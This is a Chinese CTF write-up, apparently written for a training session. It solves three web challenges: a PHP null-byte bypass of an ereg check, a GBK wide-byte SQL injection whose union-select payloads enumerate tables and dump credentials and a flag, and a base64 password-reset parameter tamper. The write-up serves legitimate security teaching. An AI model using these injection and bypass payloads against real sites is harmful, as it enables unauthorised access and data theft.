NJU trinity 內訓WP1,web1-3

好氣啊……搞密碼學的密碼學弄不會……先從web題入手吧

1. php-basic1

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php

打開發現給出了源代碼。

view-source:
    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必須輸入數字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '騷年,繼續努力吧啊~';
    }

然後試着把網址改爲:

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1

發現輸出了“騷年,繼續努力吧”大概的意思就明白了。
要繞過的是這第一個判斷,進入第二個判斷……也就是說nctf後面第一個要是一個數,第二個要是biubiubiu.
這裏考察的是00截斷,當ereg遇到00的時候就會認爲結束退出,所以我們只要用00截斷就能進入第二個判斷,payload就是:
nctf=1%00%23biubiubiu
23是#,第二個判斷讀入的是%00biubiubiu這個字符串。

Flag: flag:nctf{use_00_to_jieduan}

但是值得注意的是如果用了nctf[]的payload,會導致報錯直接xjb爆出flag。這可能是因爲strpos數組越界返回值爲null,!=false.

Warning: strpos() expects parameter 1 to be string, array given in web4/f5a14f5e6e3453b78cd73899bad98d53/index.php on line 10
Flag: flag:nctf{use_00_to_jieduan}

2. SQL-basic1

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2

這是一道盲注題。準確的說是寬字節注入。
會發現當將id=2修改爲id=1時會返回這樣的東西。

your sql:select id,title from news where id = '1‘'

那這可能存在GBK寬字節注入。

爆字段

分別嘗試
id=-1%df’ order by 1 %23 (df後面的單引號閉合query前面的引號,%23=’#’註釋掉後面的query裏面的引號)
id=-1%df’ order by 1,2 %23
id=-1%df’ order by 1,2,3 %23<–報錯
有兩個字段。
用union select爆出了2

id=-1%df' union select 1,2 %23

爆庫

繼續盲注爆出了一個庫
id=-1%df’ union select 1,database() %23

sae-chinalover

現在就可以隨便爆了:

爆表名

id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23
ctf,ctf2,ctf3,ctf4,news

猜測是第一個,繼續爆字段


id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23
user,pw

you know what to do.

ctf-ctf4挨個爆破。

2.1ctf

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(user,pw) from ctf %23

admin21dd715a3605b2a4053e80387116c190,md5加密。
解出來的沒有用

2.2 ctf2……沒有

2.3 ctf3……沒有

2.4 ctf4:有了

payload:

id=-1%df’ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23

id,flag
返回:
1 nctf{gbk_3sqli}
getflag
3. logic-basic1

http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg%3D%3D

密碼找回的邏輯bug
首先,網址的Y3RmdXNlcg%3D%3D就是base64,解出來就是Y3RmdXNlcg==
ctfuser
我們直接反過來編碼admin的base64放到地址裏面然後用burpsuite攔截

flag is:nctf{reset_password_often_have_vuln}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章